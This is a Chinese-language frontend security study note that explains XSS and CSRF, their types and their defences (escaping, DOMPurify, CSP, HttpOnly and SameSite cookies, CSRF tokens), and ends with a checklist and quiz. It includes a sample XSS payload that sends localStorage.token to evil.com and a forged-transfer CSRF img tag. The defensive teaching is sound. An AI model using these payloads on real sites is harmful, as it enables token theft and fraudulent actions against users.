XSS与CSRF
XSS 与 CSRF(8.4 安全核心)
一、一句话区分
| 英文 | 本质 | 关键点 | |
|---|---|---|---|
| XSS | Cross-Site Scripting 跨站脚本 | 往你的页面里注入恶意 JS 并执行 | 利用的是你对用户的信任(用户浏览器执行了攻击者的脚本) |
| CSRF | Cross-Site Request Forgery 跨站请求伪造 | 借你的身份(cookie)发请求 | 利用的是网站对用户浏览器的信任 |
记忆:XSS 是"偷/控",CSRF 是"冒用"。
二、XSS 跨站脚本
三种类型
| 类型 | 英文 | 怎么来的 |
|---|---|---|
| 存储型 | Stored XSS | 恶意脚本存进数据库(评论、昵称、富文本),所有访问者都会中招 |
| 反射型 | Reflected XSS | 脚本在 URL 参数里,服务端原样返回到页面(?q=<script>...) |
| DOM 型 | DOM-based XSS | 前端 JS 把不可信数据写进 DOM(innerHTML、eval、location.hash) |
最小示例
<!-- ❌ 危险:把接口返回的数据直接当 HTML 渲染 -->
<div v-html="article.content"></div>
<div [innerHTML]="comment.content"></div>
// ❌ 恶意内容
article.content = `<img src=x onerror="fetch('https://evil.com?t='+localStorage.token)">`
// → 页面一渲染,token 就被发走了
危害
- 偷 token(localStorage / 非 HttpOnly 的 cookie)
- 冒充用户操作(改资料、转账、发消息)
- 钓鱼(伪造登录框)
- 键盘记录、挖矿
防御(前端能做的)⭐
| 手段 | 做法 |
|---|---|
| ① 永远用文本插值 | Vue {{ }} / React {},框架默认转义 |
② 禁用 v-html / innerHTML |
必须用 → 先 DOMPurify.sanitize(html) 消毒 |
| ③ 危险 API 拉黑 | eval、new Function、setTimeout('字符串')、javascript: 伪协议 |
| ④ CSP 内容安全策略 | 响应头 Content-Security-Policy: script-src 'self' |
| ⑤ HttpOnly Cookie | token 放这里 → JS 读不到,偷不走 |
| ⑥ 输入校验 + 输出编码 | 后端为主,前端为辅 |
// ✅ 富文本必须消毒
import DOMPurify from 'dompurify'
const safeHtml = DOMPurify.sanitize(rawHtml) // 去掉 onerror / script
# CSP 示例:只允许本站脚本,禁止内联脚本
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
三、CSRF 跨站请求伪造
攻击流程
① 用户登录 bank.com,cookie 里有 session
② 用户访问了 evil.com(或被诱导点了链接)
③ evil.com 页面里藏着:
<img src="https://bank.com/transfer?to=attacker&amount=10000">
或自动提交的表单
④ 浏览器【自动携带 bank.com 的 cookie】发出请求
⑤ bank.com 认为"是用户本人操作" → 转账成功 💥
成立的前提:
- 用 cookie 做认证(浏览器自动带)
- 请求是简单请求(GET 或普通表单 POST,不需要预检)
- 用户已登录
防御 ⭐
| 手段 | 说明 | 强度 |
|---|---|---|
① SameSite Cookie |
SameSite=Lax/Strict → 跨站请求不带 cookie |
★★★★★ 最省事 |
| ② CSRF Token | 服务端下发随机 token,请求必须携带;攻击者拿不到 | ★★★★★ |
| ③ 自定义请求头 | Authorization: Bearer / X-Requested-With |
★★★★(跨域需预检,攻击者伪造不了) |
| ④ 双重 Cookie | cookie 里放一个值,请求参数/头里再带一遍 | ★★★ |
| ⑤ 校验 Origin / Referer | 服务端拒绝非本站来源 | ★★★ |
| ⑥ 敏感操作二次验证 | 短信 / 密码 / 人脸 | ★★★★ |
# ① SameSite(现代浏览器默认 Lax)
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax
<!-- ② CSRF Token:服务端渲染时注入隐藏字段 -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="服务端生成的随机串">
</form>
为什么 header 方案天然免疫 CSRF:攻击者无法让受害者的浏览器自动带上
Authorization头(那是 JS 代码设置的,而攻击者控制不了目标站的 JS)。
四、对比记忆表 ⭐
| XSS | CSRF | |
|---|---|---|
| 英文 | Cross-Site Scripting | Cross-Site Request Forgery |
| 攻击者目的 | 在你的页面执行 JS | 借你的身份发请求 |
| 信任被利用 | 用户信任网站 | 网站信任浏览器(cookie) |
| 是否需要登录 | 不需要 | 需要(要有有效会话) |
| 能否偷到 token | ✅ | ❌(只借用,看不到内容) |
| 主要防御 | 转义输出、禁 innerHTML、CSP、HttpOnly | SameSite、CSRF Token、Origin 校验 |
| localStorage token | 💀 高危 | 免疫 |
| HttpOnly Cookie token | ✅ 偷不走 | ⚠️ 需防 CSRF |
五、前端安全检查清单
□ 所有接口数据都用文本插值渲染,不进 v-html / innerHTML
□ 富文本一律 DOMPurify.sanitize
□ 不用 eval / new Function / setTimeout(字符串)
□ 用户输入不做"黑名单过滤",而是"输出时转义"
□ 项目开启 CSP(至少 script-src 'self')
□ Cookie 带 HttpOnly + Secure + SameSite
□ 敏感操作(转账、删除、改密)二次确认/验证
□ 第三方依赖 npm audit 定期扫描
□ 不在 URL / 日志 / localStorage 里放敏感信息
✅ 自检
Q1:XSS 和 CSRF 的本质区别?
XSS 是注入并执行恶意脚本(偷/控);CSRF 是冒用身份发请求(借)。
Q2:为什么 token 存 localStorage 时,XSS 特别危险?
因为 JS 能直接读
localStorage.token并外发;而HttpOnlyCookie JS 读不到。
Q3:为什么用 Authorization header 传 token 能天然防 CSRF?
攻击者无法让受害者浏览器自动带上自定义请求头,跨域还会触发 CORS 预检。
Q4:防 CSRF 最省事的手段是什么?
Cookie 加
SameSite=Lax/Strict(跨站请求不再自动携带 cookie)。
Q5:v-html 一定不能用吗?
尽量不用;必须渲染富文本时,先
DOMPurify.sanitize()消毒。

浙公网安备 33010602011771号